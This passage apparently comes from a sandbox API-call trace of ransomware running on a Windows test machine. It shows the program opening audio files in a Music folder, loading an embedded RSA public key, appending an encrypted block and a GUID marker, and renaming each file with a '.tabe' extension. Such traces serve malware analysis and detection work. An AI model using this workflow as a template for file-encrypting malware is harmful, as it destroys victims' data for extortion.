dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.065] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.065] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.065] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.065] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.065] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.065] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.065] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.065] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.066] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.066] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4857, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.066] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.066] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.066] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.066] CloseHandle (hObject=0x618) returned 1 [0127.067] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\2jG sPXQ5TZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\2jg spxq5tz.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\2jG sPXQ5TZ.m4a.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\2jg spxq5tz.m4a.tabe")) returned 1 [0127.068] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dc5da40, ftCreationTime.dwHighDateTime=0x1d5d869, ftLastAccessTime.dwLowDateTime=0xc321a690, ftLastAccessTime.dwHighDateTime=0x1d5ddb1, ftLastWriteTime.dwLowDateTime=0xc321a690, ftLastWriteTime.dwHighDateTime=0x1d5ddb1, nFileSizeHigh=0x0, nFileSizeLow=0xd764, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="3sqBhbw8Lm1.m4a", cAlternateFileName="3SQBHB~1.M4A")) returned 1 [0127.068] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\3sqBhbw8Lm1.m4a") returned=".m4a" [0127.068] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\3sqBhbw8Lm1.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\3sqbhbw8lm1.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.069] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=55140) returned 1 [0127.069] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.070] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd73e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.070] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.071] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xd764, lpOverlapped=0x0) returned 1 [0127.072] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.072] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.072] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.072] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.073] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.073] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.073] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.073] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.073] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.073] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.073] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.073] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.073] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.074] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.074] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.074] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.074] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.074] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.074] CloseHandle (hObject=0x618) returned 1 [0127.075] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\3sqBhbw8Lm1.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\3sqbhbw8lm1.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\3sqBhbw8Lm1.m4a.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\3sqbhbw8lm1.m4a.tabe")) returned 1 [0127.076] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49dface0, ftCreationTime.dwHighDateTime=0x1d5e087, ftLastAccessTime.dwLowDateTime=0x2cc37c50, ftLastAccessTime.dwHighDateTime=0x1d5e3f1, ftLastWriteTime.dwLowDateTime=0x2cc37c50, ftLastWriteTime.dwHighDateTime=0x1d5e3f1, nFileSizeHigh=0x0, nFileSizeLow=0x48d8, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="4Awmq.wav", cAlternateFileName="")) returned 1 [0127.076] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\4Awmq.wav") returned=".wav" [0127.076] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\4Awmq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\4awmq.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.077] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=18648) returned 1 [0127.077] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.078] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x48b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.078] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.079] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.079] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x48d8, lpOverlapped=0x0) returned 1 [0127.080] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.080] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.080] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.080] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.080] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.081] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.081] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.081] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.081] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.081] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.081] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.081] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.081] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.081] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.081] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x48d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.081] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.081] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.081] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.081] CloseHandle (hObject=0x618) returned 1 [0127.082] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\4Awmq.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\4awmq.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\4Awmq.wav.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\4awmq.wav.tabe")) returned 1 [0127.083] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2db7120, ftCreationTime.dwHighDateTime=0x1d5d9c6, ftLastAccessTime.dwLowDateTime=0x63f25c00, ftLastAccessTime.dwHighDateTime=0x1d5db72, ftLastWriteTime.dwLowDateTime=0x63f25c00, ftLastWriteTime.dwHighDateTime=0x1d5db72, nFileSizeHigh=0x0, nFileSizeLow=0x58bb, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="F9lA1sO.m4a", cAlternateFileName="")) returned 1 [0127.083] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\F9lA1sO.m4a") returned=".m4a" [0127.083] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\F9lA1sO.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\f9la1so.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.084] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=22715) returned 1 [0127.084] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.085] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5895, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.085] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.086] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x58bb, lpOverlapped=0x0) returned 1 [0127.087] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.087] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.087] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.087] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866f28) returned 1 [0127.088] CryptCreateHash (in: hProv=0x866f28, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.088] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.088] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.088] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.088] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.088] CryptReleaseContext (hProv=0x866f28, dwFlags=0x0) returned 1 [0127.088] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.088] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.088] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.088] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7be8 [0127.088] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x58bb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.088] WriteFile (in: hFile=0x618, lpBuffer=0x342d478*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x342d478*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.088] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.088] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.088] CloseHandle (hObject=0x618) returned 1 [0127.089] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\F9lA1sO.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\f9la1so.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\F9lA1sO.m4a.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\f9la1so.m4a.tabe")) returned 1 [0127.090] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ef14220, ftCreationTime.dwHighDateTime=0x1d5d9ee, ftLastAccessTime.dwLowDateTime=0xcd2e1550, ftLastAccessTime.dwHighDateTime=0x1d5d88f, ftLastWriteTime.dwLowDateTime=0xcd2e1550, ftLastWriteTime.dwHighDateTime=0x1d5d88f, nFileSizeHigh=0x0, nFileSizeLow=0x42e6, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="H0Yy.mp3", cAlternateFileName="")) returned 1 [0127.090] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\H0Yy.mp3") returned=".mp3" [0127.091] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fqXOARG\\H0Yy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fqxoarg\\h0yy.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.091] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=17126) returned 1 [0127.091] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.092] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x42c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.092] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.093] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x42e6, lpOverlapped=0x0) returned 1 [0127.094] lstrlenA (lpString="-----BEGIN PUBLIC 